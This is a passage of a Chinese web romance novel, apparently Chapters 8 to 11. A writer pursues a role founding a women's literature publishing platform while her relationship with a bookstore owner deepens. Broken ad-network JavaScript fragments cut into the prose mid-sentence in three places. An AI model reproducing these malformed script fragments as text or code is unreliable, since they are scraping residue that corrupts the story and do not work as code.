许溪从一开始就瞧出这两人氛围不对,顺着话头神秘兮兮地问。 裴凝这回没有直接回答,她将胳膊搭在桌上,身子微微前倾,懒散地望着井稚:“井老板,我们在暧昧吗?” 井稚脸有些憋红了,干脆把菜都往许溪面前一推:“我在追她行了吧!快吃吧你!” “急什么嘛。”许溪转过身子,握住裴凝的手,“凝姐,你放心,我现在对他感觉也就一般,绝对不会干扰你们谈恋爱的。” 井稚刚想说你这叫什么话,结果又听许溪深情补充道: “我现在对他的感情,不及对你的十分之一。凝姐,我太喜欢你了。” 裴凝扑哧一乐,回握住许溪:“眼光真好。” 井稚一看,根本没有他说话的份,重重“哼”了一声,埋头猛干饭。 顺便给裴凝剥了一盘虾。 吃饭时,许溪关心起裴凝的新书来。 裴凝倒也没藏着掖着,大概说了新书可能要难产的现状,以及这次来江大校庆的主要目的。 “确实挺难办的。你之前在冬春的那些版权大概率是开发不了了,新书还是得赶紧出版才行。” “嗯,所以来碰碰运气。” 裴凝声线淡淡,已经对眼前的困难习以为常了。 “从我这里来说,倒是有两条路可以提供给你。” 许溪忽然道。 裴凝和井稚同时抬头:“什么?” “一个是直接到我们公司做编剧,以洛漾的身份,公司肯定会给你开个高价,可以只签剧本不签人,先把名气重新积累起来,再出版小说。” 说实话,这是个很好的办法。 但裴凝当初离开冬春,就是因为不愿顺从资方的意见写剧本,而现在难找出版社的原因,也是出版社认为她的书不够主流大众化,没有卖点。 前面那么难都坚持过来了,如果现在调头,是不是有些对不起自己? “第二个呢?” 没等裴凝说话,井稚先问道。 “第二个嘛,说起来有点复杂。我们老板最近在筹备一个项目,想成立一个文化传媒公司,签作者、出书,版权直接对口公司,但一直没有找到合适的公司主理人。老板想找个真正的作家来把控市场方向,但哪有作家愿意打理公司呀,项目一直搁着呢。等哪天项目动了,凝姐你可以签到我们公司。” 裴凝理解个大概,皱眉问:“所以只是找一个傀儡,公司具体事务还是要听逐日的是吗?” “不不不,你误会了。这其实相当于是一个创业扶持项目,我们公司出钱投资,获得优秀版权的一手资源,而这个公司主理人全权负责公司发展,逐日不做任何干涉。我们老板说了,写书的事她不懂,还是得交给内行人来做。” “不做任何干涉?” “对,大到公司的定位、发展方向,小到签什么作者写什么书,都不会干涉,后期还打算开发文学网站供签约作者连载,唯一的要求是能给公司赚钱、能产出保质保量的版权,如果做不到就换人。” 许溪见裴凝的问得仔细,反应过来:“凝姐,你有兴趣?” 裴凝实在地点头。 “有。” 她一直想找到一个真正自由开放的平台,让创作者能不受裹挟,肆意挥墨。 如果她有机会创造这个平台,那为什么不呢? 许溪惊讶了一下,抿唇思考片刻,抬头道:“凝姐,这个项目的负责人这次也来了,明天校庆酒会,我给你引荐一下。” “也是江大校友吗?” “不是,他是来谈业务的。” 裴凝点头:“好,那明天再聊。” - 校庆酒会安排在晚上,学校将白日里表演节目的礼堂收拾了出来,摆上了高脚桌,和花花绿绿的挂灯。 毕竟是学校,环境有些违和,主要还是为了给校友会提供一个社交场合。 一行四人穿梭在三三两两聊天喝酒的人群中。 裴凝很快见到了那位项目负责人。 他身着轻薄休闲西装,身姿挺拔,面容俊朗,眸光深邃如渊,是很难在人群中忽视的类型。他们向他走去时,他正低头与人说着什么,仰头喝酒的时候露出温和的侧颜,不似许溪形容中冷峻。 “方总,这位是我跟您提过的,作家洛漾。” 许溪为裴凝和方昀游互相介绍后,退后两步,站在一旁。 “您好,久仰大名。” 《凤林女贼传》当年的改编成绩不错,方昀游对裴凝有些印象。 “您过奖了。我听说贵公司有个项目,想跟您聊聊。” 两人都是开门见山的性格,寒暄两句,很快进入正题。 方昀游说,现在的几个候选人公司都不是很满意,如果裴凝想参加面试,可以准备好项目书,阐述清楚对公司定位、发展方式、发展目标以及发展前景等的设想,由他内推至总部。 裴凝从方昀游这里听到了更多详情,也越发感兴趣。 两人推杯换盏,相谈甚欢。 独留插不上话的井稚和朱情在后面面面相觑。 “学姐,你怎么想?” “不好说。” 朱情昨天听裴凝说过这事后,始终持一种观望态度,只说今天来看看。 但瞧着裴凝兴奋的表情,知道她心里八成已经有了主意。 “我倒是觉得挺好的,”井稚望着裴凝的背影,“她想做就一定能做好。” “话是这么说,但开公司这事,洛洛毕竟是外行,我是怕她准备半天没选上,心里难受。” 井稚想象了一下裴凝难过的神情,马上摇摇头把那个画面从脑子里甩掉。 “那不行,她必须得选上。” 裴凝和方昀游酒过几旬,借去洗手间为由补了个口红。 她整个人都被方昀游口中那个美好的设想击中,身子飘飘然的,心绪像浮云一样越飞越高。 很多年,她都没有这样热血的时刻了。 这也导致她在礼堂里不小心被人撞到洒了一身酒之后,都好半天才反应过来。 “哎呦,对不起呦。” 撞她的男人手忙脚乱地要替她擦,裴凝警觉地后退两步。 她今天穿了一件真丝礼服,酒正好洒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在她胸口,浸透衣服透出轮廓来。 粘腻的触感和浑沌的音响声将裴凝方才飘忽的思绪生硬地扯回,她冷眼扫过,不带感情道:“没事,不用了。” 转身抬步,裴凝快速离开。 这里离舞台幕布不远,裴凝走到幕布后,被遮住大半身子,已进入前厅众人的视觉死角。她拿出手机给许溪发消息,告诉她自己回酒店换衣服,让她帮忙和方昀游打个招呼。 下一秒,一个身影挡住了裴凝面前仅存的光亮,将她全然掩在黑暗中。 视觉的瞬间丧失带来的是安全感的分崩离析。裴凝第一反应是那个男人跟上来了,她下意识挥拳出去,在半空中砸进一个骨节分明的手掌,骨骼碰撞的那一刻,疼痛钻过掌心,裴凝下意识“嘶”了一声。 “裴老师,是我。” 方昀游侧过些身子,让光亮照进来些,裴凝缓了一会儿才看清他的面容。 “方总?” 方昀游先把身上的外套脱下来,披在裴凝身上,将前襟放在她手里让她合紧,然后才出声:“刚刚正好路过,看到你身上洒了酒,有些担心,所以跟过来看看。吓到你了吧,很抱歉。” “没事,谢谢您。”裴凝感激地抬起头,“衣服我回头洗好给您。” “没关系,你方便最重要。裴老师开车了吗?不然跟我一起走,让司机送你回酒店吧。” “她没开车,我开车了。我送她。” 还没等裴凝说话,井稚冷冰冰的声音突然在身后响起。 她回过头去,眼前寻不到什么光源,只有舞台屏幕的缝隙透过几缕光,井稚就这样忽明忽暗地出现在悬浮的尘埃中。 他神色不明,眼中似有霜意。 “哦?那裴老师,你怎么想?” 方昀游依旧和善地笑着。 裴凝左右看看,心想是因为这个地方太黑了,所以气氛才这么诡异吗? “多谢方总,就不麻烦您了,我们住在同一家酒店,很方便的。” - 回酒店的路上,朱情和许溪坐在车后座,大气都不敢出。 裴凝胸前搭着方昀游的西服外套,侧着脸好笑地看着井稚。 井稚腮帮子鼓得快能塞下鸡蛋了,嘴直往天上翘,赌气得很,一眼都不看裴凝。 “你生什么气呢?” 裴凝率先打破沉默。 许溪觉得终于能说话了,长吁一口气:“就是就是,怎么回事呀?凝姐你怎么穿着方总的衣服呀?” 不提还好,一提井稚更生气了。 他看看自己身上的黑色连帽衫,后悔没有在许溪吐槽他“没有人会在酒会穿这个”的时候,换成西装套装。 这样裴凝就不用穿别的男人的衣服了! 红灯前的一个急刹,代表了井稚无声的愤怒。 朱情听出许溪踩雷了,赶忙把她拽回来,捂住她的嘴。 “嘘,别说,雄竞的男人太可怕了。” 到了酒店,裴凝让朱情和许溪先回去,自己则留下来哄小孩。 “到底怎么了?” “哼!”井稚先是用鼻子重重出气,然后才愤愤开口,“你只是因为我们住同一个酒店,才让我送你的?” “当然不是呀,我搪塞他罢了。” “那如果我没去找你,你是不是就让他送了?” 裴凝无奈地笑笑,撤掉方昀游的衣服,抬手刮了下井稚的鼻尖。 “那我也不会让他送的。我会拒绝他,然后去找你。” 井稚愣了一下,眼睛眨巴眨巴,一点一点亮起星光来。 “真的?” 他不确定地反问。 “真的。” 见井稚冒着傻气的笑容露了出来,裴凝把手架在手扶箱上,托着腮,清亮的瞳孔直直瞧着他。 直瞧得井稚身上又开始冒热气了,她才拖长了语调开口: “井老板,你不会是吃醋了吧?” 9. Chapter 9 “我就是吃醋了。” 井稚小声说着,眼睛盯着绞在一起的手指,梗着脖子不看她。 “吃什么醋呢?” 裴凝把井稚问住了。 是啊,他吃什么醋呢? 方昀游见裴凝窘迫,借她西装,充其量是绅士行为,提出送她回酒店,在当时的情境下,也谈不上冒犯。 他井稚和裴凝只是朋友,有什么资格吃醋呢? 越想,井稚越不是滋味。 答不上来,井稚使劲呼噜了下头发,懊恼地下车,快步走到副驾驶,帮裴凝把车门打开。 “回去换衣服吧。” 裴凝没有再深究。她把方昀游的衣服抱在胸前,下了车,不快不慢地走在前面。 井稚跟在她身后,既庆幸她没有再追问,也生气,她为什么没有再追问。矛盾的心思要把他逼疯,脑袋快垂到地里去。 没有看路,胸口忽然撞到一个柔软的身体,他被迫停下。 下一秒,微凉的指腹拢住他脸庞。裴凝看向他的眼中,映着酒店招牌的明亮黄光,像流星划过漆黑眼底,美好得失真。 井稚愣住。 他总是无法逃离裴凝的温柔陷阱,即使他知道,那只会让自己更加贪婪。 但他还是别扭地,心甘情愿着。 “井稚。” 她唤他,声音仿若远古梵音,恬静悠长。 “我希望你开心。” - 裴凝洗完澡后,盘腿坐在床上思考。 只随便擦擦的头发搭在身上,冰凉水珠顺着锁骨滑进睡衣,她也懒得去管。 “还想逐日项目的事呢?” 洗漱完出来的朱情见裴凝还保持着刚才的姿势,了然问道。 “嗯。” 朱情拿来吹风机,端坐在裴凝身前,打开一档风,均匀吹在裴凝的头发上。 “你真的很想做?” “想。” “那新书呢?” “可能要放放。” “你为什么那么想做这件事?” 裴凝眸色幽深,想了很久,缓缓道:“想找到灵魂。” 裴悯曾说过,自由是创作的灵魂。 裴悯找到了灵魂,也付出了沉重的代价。 她早年写过一本表面讲□□自由,实则深刻疾呼思想解放、女性自由的书,为此背负媚俗、低级、哗众取宠的骂声好多年。 裴凝本以为自己也会像她一样无畏。 但渐渐的,裴凝发现自己会在写作时下意识想,怎么写大家才会喜欢?市场才会接受?数据才能好看? 她自己真正想写什么,排在了这些问题之后。 裴凝觉得这样很可怕。 如果她能有足够的底气,抛弃这些顾虑,是不是就能填补一些她缺失的勇气? 吹干最后一缕发丝,朱情关掉吹风机,看向裴凝。 “那,明天就干?” 裴凝笑起来。 “嗯,明天就干!” - 然后裴凝失眠了。 她脑子里不断闪现着对未来的设想,越想越兴奋。 以至于太兴奋了,无论怎么努力都无法入睡。 再一次按亮手机屏幕,时间显示三点三十分。裴凝干脆翻身起来,看着熟睡的朱情,想了想,点开井稚的对话框。 【想去海边看日出吗?】 左右也睡不着,还不如再疯狂一点。 不过裴凝并没有抱什么期望,这个点井稚肯定睡了,她只是试探着问问,如果井稚没有回复,她就自己去。 但没想到,刚等了一会儿,裴凝就收到了消息。 【开你车还是开我车?】 十分钟后,两人驶离酒店。 江城沿海,从酒店到最近的海滩,大概二十多分钟车程。 月光沉沉,被云雾掩去大半,视线不甚清明。 井稚本想让裴凝在车上睡一会儿,一回头,见她正开着车窗,兴奋地迎风欢呼。 井稚把人拽回来按在车座上,关上半扇车窗。 “小心点。” 裴凝心情大好,没与他计较,转过头乐呵呵地问:“你为什么也不睡觉呀?” “还不是因为你。” 井稚满是抱怨。 “我怎么了?” “你那句话什么意思?” “哪句话?” “就酒店门口那句。” “哦,那个呀——”裴凝看向眼前雾蒙蒙的路,“字面意思呀。我希望你跟我待在一起是因为开心,而不是因为不开心。” 井稚被绕糊涂了。 “哎呀,总之呢,我们享受这一刻快乐就好啦,不要想太多。” 裴凝的眼底漾起雀跃,在夜色中照亮了这一方空间。 风穿过车窗,拂动起她的长发,轻轻扫过井稚的耳旁。 风声悦耳。 到海滩后,井稚刚把车子停靠在路边,裴凝便迫不及待地脱掉鞋子,拽着井稚踩到沙子上。 绵密的沙砾裹着脚背,酥酥麻麻。 海风卷起一层薄薄的细沙,扬不起多远便又落下。空气里有淡淡的海水味,顺着风,狡黠地钻到鼻子里。 井稚脱下牛仔外套,披在裴凝身上。 路上停着零零散散几辆车,都是来看日出的。海滩上没有白日的喧闹,连身旁人的呼吸,都融在寂静辽阔的天地之中。 裴凝的心也渐渐沉静下来。 遥远的海平面上,已隐约撕开一个角,透出红色的光来。裴凝欣喜地拍了拍井稚:“看!” 日出总是很快的。 泛着金边的太阳冲破黎明前最后的黑暗,徐徐露出真容,连绵的云彩瞬间被烧得通红,霞光铺满天色,映在幽深蔚蓝的海面上,唤醒沉睡的生机。 那是朝阳,是万物的活力。 是永生不灭的生命力。 “井稚,祝我自由吧。” 井稚回头,看到了裴凝眼中,生机勃勃的跃动。 她睫毛盛着金光,驱散着周遭的阴郁,眸光忽闪,唇角飞扬。 她散发着真正来自心底的喜悦,像终于翱翔的海鸟,掠过一抹昂扬的朝气。 未施粉黛,素衣择身,但,是井稚见过最动人的模样。 在太阳全然升起的前一刻,裴凝忽然被井稚挡住了视线。他周身的轮廓被日光晕染开,裴凝有些看不清他的表情。 井稚倾身,环住裴凝后腰,像珍宝般捧起她的脸颊,轻轻吻了上去。 裴凝怔住一瞬,转而闭上眼睛,仰头去回应他。 海边潮气夹杂着井稚的呼吸,潮热绵长,包裹着裴凝的鼻腔。她轻轻地卷动他的舌,又将将缩回些,惹得井稚难耐地向前求取。他们贴在一起的肌肤,似乎被日光炙烤得要燃烧起来,细微的吸吮声回荡在两人之间,磨得耳廓更加滚烫。 “你第一次这样亲我。” 喘息间,裴凝轻声道。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 井稚原来的吻,都有些畏缩,被裴凝牵着走,又怕被她讨厌般克制。 然而今天,井稚浓烈的情绪不管不顾地灌在这个吻中,毫无保留地倾诉与她。 不再是月下遮掩,而是浴光相拥。 “因为我很开心。” 井稚宽大的手掌托住裴凝的头,再次含住她的唇,明目张胆地索要更多。 漫长的吻在阳光开始变得刺眼时结束。 井稚轻轻抱着裴凝,眺望海面翻滚。 他知道对于裴凝来说,他,甚至感情,从来都不是最重要的。 但如果她想做的事,能让她这样肆意而真实—— 那没关系,他祝她自由。 - 回酒店的时候,两人在大堂碰到了拖着箱子的许溪。 “这么早就走呀?” 裴凝惊讶道。 “嗯,公司临时有事叫我和方总回去,我们得赶早班飞机。”许溪没有疑问为什么两个人早晨六点从外面回来,只是笑嘻嘻地看着裴凝,“凝姐,我在逐日总部等你哦。” 裴凝摸了摸许溪的头,点头应下。 “凝姐,我能和井稚单独说几句话吗?” 许溪歪头,眨眨眼问。 裴凝顿了一下,识趣地退后两步,往电梯方向走去。 “你们聊,我上去补觉啦。” 井稚看着裴凝的背影消失在拐角,才回过头来,对上许溪的目光。 “怎么了?” “井稚,见到你真的很开心。”许溪眼睛里盛满笑意,“我以为我们很难再见面了。” “我也很开心见到你。” 井稚不知道许溪想说什么,于是礼貌回道。 “不,我和你不一样。” “什么不一样?” “我喜欢过你,你知道吧?” 许溪掰着手指头开始回想。 “但你真的很难追,你那么喜欢的洛漾亲签,我送给你,你都还给我了。但你不知道吧?每次你在校队打球迟到,是我找人帮你答到的;你期末跟室友借的专业笔记,是我熬夜整理的;你拒收的那些女生的礼物里,有一条我亲手织的围巾——天杀的,做手工真的好难,我织了好几个月呢!” 井稚愣住。 他对许溪的印象,只是大学同班同学,勉强算得上关系不错。 他从来不知道许溪做过这些。 “我竟然那么那么喜欢过你,想来真是吓自己一跳。不过,我这个人开窍晚,上了大学才碰到自己第一个喜欢的人,我认真地、努力地去追求,即使真心淹没在你超高的人气中,我也不后悔。” 许溪看起来依旧神采奕奕,没有丝毫难过伤心。 “对不起,我不知道……” “没关系!喜欢你是我的事,做什么都是我自愿的,你不需要为此道歉。只是一直没有机会对你说这些,总觉得我的青春有点遗憾。” 许溪大大咧咧地拍了下井稚的肩膀,眼睛亮着明媚的光。 “你放心,我现在对你真的感觉一般啦。凝姐真的很好,你一定要好好珍惜呀。她那么独立,又自由,能力强,有思想,真的,你喜欢她,我心服口服。” 话是夸裴凝的,不知道为什么井稚有些不好意思了。 “我会的。” “好啦,我该走了。” 许溪拖过箱子,往前走了两步。 忽然停下步子,她回过头,嵌在光里。 “再见,井稚。” 10. Chapter 10 从江城回家后,裴凝进入了工作狂模式。 她的简历已经由方昀游内推至逐日并通过初审,项目汇报时间定在一个月之后,在这期间,她要做出一套完整的项目书。 上网课、查资料、写方案,裴凝每天睁眼闭眼都是工作,甚至一连好几天都睡在满床的资料上,清醒了就接着干。 朱情作为她必不可少的合作伙伴,已经直接住进了她家,和她一起卷生卷死。 井稚本来只是每天到裴凝家照顾井小二,但当他连续三天看到茶几上随意摆放的泡面桶、吃到一半的速冻饺子、还有已经凉透了的大米粥时,终于忍无可忍,把这些东西统统打包,扔进垃圾桶。 “你俩,去书房,我把这收拾一下。” 裴凝和朱情被撵着挪了地方。 井稚看着战场一般的客厅,叹了口气。他拾起散落在地上的纸张,规整好送到书房里,然后找来抹布,将茶几擦拭干净,沙发上的杂物也一并归纳,再把家里的垃圾分类打包,放在门口。 下楼扔垃圾前,井稚折回厨房,打开冰箱,果然如预想一般空空如也。 以前裴凝闭关写小说的时候还有朱情给她送东西,现在朱情和她一起闭关了,这家里彻底弹尽粮绝了。 井稚合上冰箱门,取下挂在墙上的环保袋,出了门。 - 裴凝和朱情又一轮激烈讨论结束,疲惫地瘫在桌子上。 半分钟后,陌生的香气钻进鼻腔直达大脑,刺激得裴凝一个激灵猛坐了起来。 “小情人儿,你有没有闻到什么味道?” 朱情放下材料,抬头仔细闻了闻。 “还真是,好香。” 两人吸着鼻子,一路循着香气,被牵到了厨房。 然后就看到185小麦色八块腹肌高猛型男——井稚,此刻正把身子挤在明显比他小两号的围裙里,站在灶台前,娴熟地挥舞锅铲。 “这是什么景象?” 朱情不禁发出疑问。 “田螺小子吧,可能是。” 裴凝认真回答。 听到动静,井稚关火,回过身。 “你们结束了?正好,菜都好了,来吃饭。” 井稚把最后一个菜装盘,端到桌上。 已经好几天没吃过正经饭菜的裴凝和朱情,此刻在香气刺激下,肚子争先恐后地响起“咕咕”声。两人顾不上感叹井稚在这个画面里有多么违和,快速奔跑着去洗了手,然后坐在餐桌前仰头等待投喂。 井稚给她们盛好饭,还没来得及说话,眼前就只剩两个疯狂干饭的头顶。 “书店还有事,你们吃完放着就行,我一会儿回来收拾。” 井稚脱下围裙挂在一边,顺便把刚刚洗好的水果给她们放在茶几上,转身离开。 朱情看着眼前色香味俱全的满桌饭菜,甚至感动得有些热泪盈眶。 当然也可能是香的。 “洛洛,你给井老板个名分吧,我都不好意思了。” 裴凝夹起一块土豆,在碗里碾成两半。 “不好意思的话,一会儿你把碗洗了?” “滚。” 不过她们当然没有厚颜无耻到把所有活都扔给井稚,吃完饭后,两人利索地把碗筷和厨房收拾干净,才又转头扎进书房里。 就这样,三人莫名达成了一种十分默契的相处模式。 裴凝给井稚配了个备用钥匙,井稚每天从书店下班后,先去超市买菜,然后直接回裴凝家,做饭、收拾屋子、给井小二铲屎喂饭。 裴凝会把每天的菜钱转给井稚——当然是在她强烈要求下井稚才同意的,她和朱情也尽量不把家里搞得太乱,给井稚增加劳动量,同时承担了洗碗的工作。 三不五时,裴凝会订花送给井稚,算是在这段忙飞的时间里,她仅能做的一点补偿。 每次都是玫瑰,五光十色,井稚都不知道这世上竟有这么多颜色的玫瑰。 离汇报还有一周时,朱情难得回家了一天。 是夜,井稚把裴凝新买的苹果杰克剪枝去叶,插好在花瓶里,摆放在客厅茶几上。 走到书房前,井稚透过门缝,看到裴凝背对着门趴在桌上,红棕色的长发散落着,盖住她白净的胳膊。 她的脊背略薄,但很有力量。此刻均匀起伏着,昭示着她已沉入梦乡。 井稚轻轻推开门,踮着步子踱到桌前,小心翼翼地拿出裴凝手里的笔,放在一边。他缓慢地将裴凝揽入怀中,生怕吵醒她,直到确认她的呼吸依旧平稳绵长,才托起她的腿,将她抱起。 裴凝安静得像只小猫,不知道是不是感受到了井稚的温度,又往他怀里缩了缩。 井稚抱着裴凝回到卧室。 把裴凝放到床上时,柔软的床垫立刻凹陷下去,井稚随即给她盖好被子,掖好被角。 然后,他静静地蹲在床边,视线描摹着裴凝熟睡的面庞。 再看一眼就走,他想。 房间里没有开灯,只有透过窗帘缝隙挤进的月光,细碎地盖在她身上,笼罩出一层淡淡的薄雾。 也许她的小脑袋瓜里还在想着睡前想不通的一个问题,此刻眉头依然紧缩,精致的五官拧在一起,看得井稚不自觉勾起嘴角。 睡着的裴凝,似乎可爱了许多。 井稚有些忍不住,往前凑了凑身子,轻轻吻上她的额头。 “井稚。” 不知道是不是被他吵醒了,裴凝呢喃了一句。 “嗯?” 井稚没有听清,又贴近些。 “井稚。” 裴凝微微睁开眼,沙哑着,再次开口: “谢谢你。” - 青城已入秋。 凉意藏在风里,时不时撞在肌肤上,惹人一阵寒颤。 夜里下了一场大雨,半黄的树叶还没准备好归根,已被狂卷着落了一地。裴凝踩在绵软的落叶上,忍不住搓搓手心,呼出一截哈气。 “呀,裴凝,你就穿这个?” 井稚从身后跑来,不悦地扭过裴凝的身子,对她身上的单薄衬衫和牛仔裤,用眼神上上下下审判了一遍。 “首城那边还没这么冷呢,厚衣服我也带了,再说我只是为了赶路方便,穿这个就行……” “行什么行?不行!” 井稚提高音量,果断打断她。 本来就冷的裴凝被这么一凶,冷不丁抖了一下,被井稚眼尖地抓住。 “你看,我就说冷吧?” 井稚脱下自己的卫衣外套,披到裴凝身上,仔细地给她套好袖子、拉链拉到差点挤到脖子肉,才满意地拍拍她肩膀。 “走吧。” 井稚把裴凝和朱情送到机场,值完机,三人找了个馄饨馆坐下。 “洛洛,终版 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你还看一遍吗?” 朱情把纸质版项目书递给裴凝,利落地叼下手腕上的皮筋,两手在脑后拢了个高马尾,缠了两圈。 “不看了,快背下来了。” 裴凝把项目书收进包,整个人缩在井稚宽大的衣服里,弓起腰,视线和馄饨平齐,均匀呼开碗上的热气。 “一会儿再检查一遍资料有没有带齐,万一有落下的,我去给你们送,其他的东西缺了就直接在首城买,记住了吗?别着急,也别紧张,你们的项目书做得很清晰,很有前瞻性,肯定没问题的……” 井稚不吃东西,只一个劲儿地和裴凝嘱咐。 裴凝握住他捏紧勺子的手,轻拍了两下,柔声打断他的絮叨:“我看是你更紧张吧。” 井稚从坐下开始,勺子拿起来无数次,一口馄饨都没动过。 “确实有点紧张。” 井稚摸摸鼻子,塌下肩去,整个人矮了一截,眼睛盯着汤上的一个油点。 裴凝握着他的手,带着他舀起一颗馄饨,吹了几下,伸到他嘴边:“吃饱了再紧张。” 看井稚这神经兮兮的样子,朱情不免吐槽:“井老板,这么怕我和洛洛失败啊?也太不信任我们了吧。” “不是不信任……嗷呜!”井稚急着解释,嘴唇被烫了一下,一边拿手扇着一边往外蹦字,“是,是我去不了,在家等消息太煎熬了!我已经开始焦虑了!” 裴凝“扑哧”一声笑出来,伸手扯了张纸巾递他:“你不是这两天书店有活动走不开嘛。放心吧,有什么结果,我肯定第一时间给你分享。” “好吧。” 井稚闷闷不乐地戳着碗,把馄饨馅都戳得翻了出来。 “你们真要去五天吗?” 安静了一会儿,井稚又忍不住开口。 “嗯,日程是这么安排的。” 今天主要是入住酒店,整理一下资料,明天裴凝和朱情将到逐日总部和项目组进行预汇报,项目组对汇报中缺失或者需要调整的部分提出建议后,给予她们一天的修改时间。 重头戏在第四天,裴凝和朱情会直接向逐日的大老板——那位许溪口中雷厉风行的女总裁进行正式汇报。听说前几位候选人的汇报时间都比预计超出了好几个小时,她们猜测这位老板非常严格,无形中鞭策她们对项目书进行了无数遍审查和自问,就怕被当场噎住。 因为可能存在需要补充汇报的情况,所以日程上还预留了一天,如果没有什么特别情况,就会安排她们参观公司等,也可以选择直接回家。 “太痛苦了,那可是五天!120小时!7200分钟!432000秒!” 井稚愁容满面。 “没事,一眨眼就过去了。” 裴凝平静安慰。 井稚侧过脸,定定地看了裴凝一会儿,似乎在心里打了无数遍腹稿,才小声开口:“裴凝,你早点回来,小二很想你的。” 裴凝眼睛弯起来,很快接道:“哦?你不想我呀?” 她以为井稚又会害羞地扭过头去,但半天没有听到动静,抬眼去瞧,才发现井稚还在看着她。 “想,”井稚点点头,“我会很想的。所以你要早点回来。” 裴凝愣了一下,转瞬笑开。 “好。我会的。” “那个……你们还当我存在吗?”坐在对面的朱情默默举手,“我请问呢二位?” 11. Chapter 11 首城的温度变幻无常,前一天还因为下雨直线下降,后一天便在晴空大太阳中飙升回来。 裴凝换衣服的速度远跟不上反反复复的天气。 在酒店裹着被子打了第五个喷嚏之后,裴凝终于无可奈何地承认——她感冒了。 手机震了两下,裴凝吸着鼻子,从枕头下翻出来。 【我看又降温了,你记得多穿衣服!】 【别感冒!!!】 裴凝只露了脑袋和两个手指在被子外,缓慢地戳着屏幕。 【已经感冒了。】 很快,井稚打进视频电话。 裴凝接起来,看见镜头里的自己,精气神全无。 “感冒严重吗?” 井稚应该是在书店,背景乱糟糟的,声音也听不太清。裴凝看着他走到杂货间,关上门,才开口。 “还行,就是有点……阿嚏!”裴凝差点摔掉手机,“有点打喷嚏。” 井稚眉心拧在一起:“我给你装了暖宝宝、体温计、感冒冲剂,都在你箱子的第二层。” 裴凝意外地看了眼箱子,听到这话的朱情已经起身去找了,拿出东西后朝裴凝挥了挥。 “谢谢。” 井稚看着裴凝苍白的脸色,很是担心:“明天还能坚持吗?” 裴凝又把脑袋往回缩了点,摇摇头。 “不知道。” 电话那边有人喊着井稚,裴凝冲他摆摆手:“你快去忙吧,我吃了药睡一会儿,看看能不能好。” 井稚还想嘱咐几句,但店员实在喊得急,他只好先挂断电话。 测了体温,果然,38.5℃。 裴凝冷得厉害,抓紧喝了药,迷迷瞪瞪地躺下了。 睡着之前,她心里祈祷着,希望井稚的药有奇效。 然而事实证明,这世上没有神药。 一觉睡到晚上八点的裴凝,撑着头痛欲裂勉强睁开眼睛,好半天才缓过神来。 她看到朱情坐在书桌前,想喊她,开口却发现嗓子哑得发不出一点人声,像年久失修的留声机一样,吱呀吱呀两下就熄了火。 裴凝身子酸痛无力,起也起不来,话又说不出,干脆两腿一伸,两眼一闭,认命地躺在床上。 听到动静的朱情回身发现裴凝醒了,赶忙打开灯,走到床边扶起她。 “洛洛,喝水。” 温热的水滑过干涸的嗓子,裴凝终于觉得活过来一点。 尝试几次,裴凝找回了声音。 “小情人儿,”她断断续续地掌控着声带,“明天的汇报,你来讲吧。” “啊?但预汇报是你讲的,我没有准备过呀。” 朱情皱眉,下意识摇头。 裴凝无力地看着她:“我这个状态,上去了也讲不出来。” 见朱情仍有顾虑,裴凝努力从被子里抽出一只手来,拍了拍她的胳膊。 “这个方案是我们两个人共同做出来的,谁讲都一样。而且,你的专业性更强,其实比我更适合当主讲人。” 朱情思考了半天,最终点了点头:“好吧。” “太好了,你救我一命。”裴凝立刻躺回床上,“那我能再睡会儿吗?” “快睡吧你,一觉睡到明天早上,别醒来了,我定了闹钟。” 朱情给她掖好被角,重新关掉顶灯。 “哦对了,井老板很担心你,你给他回个消息吧。” 裴凝闻言,从被窝里划拉出手机来,看到上面的一堆未读消息。 【测体温了吗?多少度?】 【吃药了吗?】 【睡觉盖好被子!!!】 【醒来记得回消息!!!】 …… 最新一条是半小时前发的: 【怎么还不醒啊!裴凝你不会睡死过去了吧!啊啊啊啊快回我消息!!!】 裴凝虚弱,打不出字,按住语音键,简单一句:“没死,睡了,晚安。” 对面秒回。 【服了!】 没有后文,裴凝以为他不回了,刚要关手机,屏幕上又弹出一条消息: 【晚安。】 然后又一条: 【盖被子!!!!!】 裴凝无意识地笑起来。 很快便意识模糊了。 - 在闹铃第三次响起后,裴凝艰难地爬起来。 即使不是主讲,她今天至少也得收拾出个人样,出现在汇报现场。 拖着疲惫酸软的身体,裴凝以遮住病态为准,简单化了个淡妆,把长发在脑后盘起,扎了个揪,然后换上准备好的淡蓝色法式衬衫,和规整正式的西装裤。 想了想,裴凝又把井稚的外套套上了。 “走吧,我的战友。” 裴凝揽过朱情的肩,脚步沉重地迈出酒店。 和预汇报的小型会议室不同,今天裴凝两人被带到了一个大会议厅候场。 项目组的人还没来,裴凝裹紧井稚的外套,小声回答着朱情关于汇报的问题。 一阵不急不缓的脚步声临近,裴凝抬头看去,从会议厅前门走进来一个女人。 她看起来比裴凝大不上几岁,及肩的短发利落地别在耳后,身上没有任何首饰,一身墨绿色西装套装包裹着健康匀称的身材。脚上一双平底鞋走起路来声音不大,如果不是房间太过安静,裴凝可能都不会注意到。 裴凝在预汇报的时候没有见过她,所以猜测她是哪位高层。 礼貌但费力地起身,裴凝率先开口:“您好。” “您好,”那女人颔首,听出裴凝音色有异,“您生病了吗?” “有点感冒,不碍事。” 裴凝赶忙解释。 空气里有一瞬的沉默,裴凝正想着再说点什么,方昀游就带着项目组的人陆陆续续进来了。 “顾总。” 方昀游一进来就对着站在最前面的女人打招呼。 原来她就是那位传闻中的大总裁,顾青山。 裴凝又瞧了一眼,觉得她好像也没有许溪说的那么严肃。 “裴老师,你准备好了吗?” 方昀游看向裴凝。 “顾总,方总,实在不好意思,我今天身体不太方便,汇报会由我的合伙人来进行。” 朱情在一旁冲前面的人微微鞠躬示意。 “你确定吗?”方昀游皱眉,眼神左右扫动,“临时换人,预汇报的作用等同于无效。” “我确定。” 裴凝没有再解释什么,把资料交给朱情,按了按她的肩膀。 “去吧,加油。” 顾青山坐在桌首,始终没有说话。 朱情站在讲解台前,镇定地拿起翻页笔,已无丝毫慌张。 “各位上午好,我是本次项目方案的主讲人朱情,下面由我来为大家介绍我们对于建立女性文学平台的设想……” 简单开场后,朱情快速进入正题。 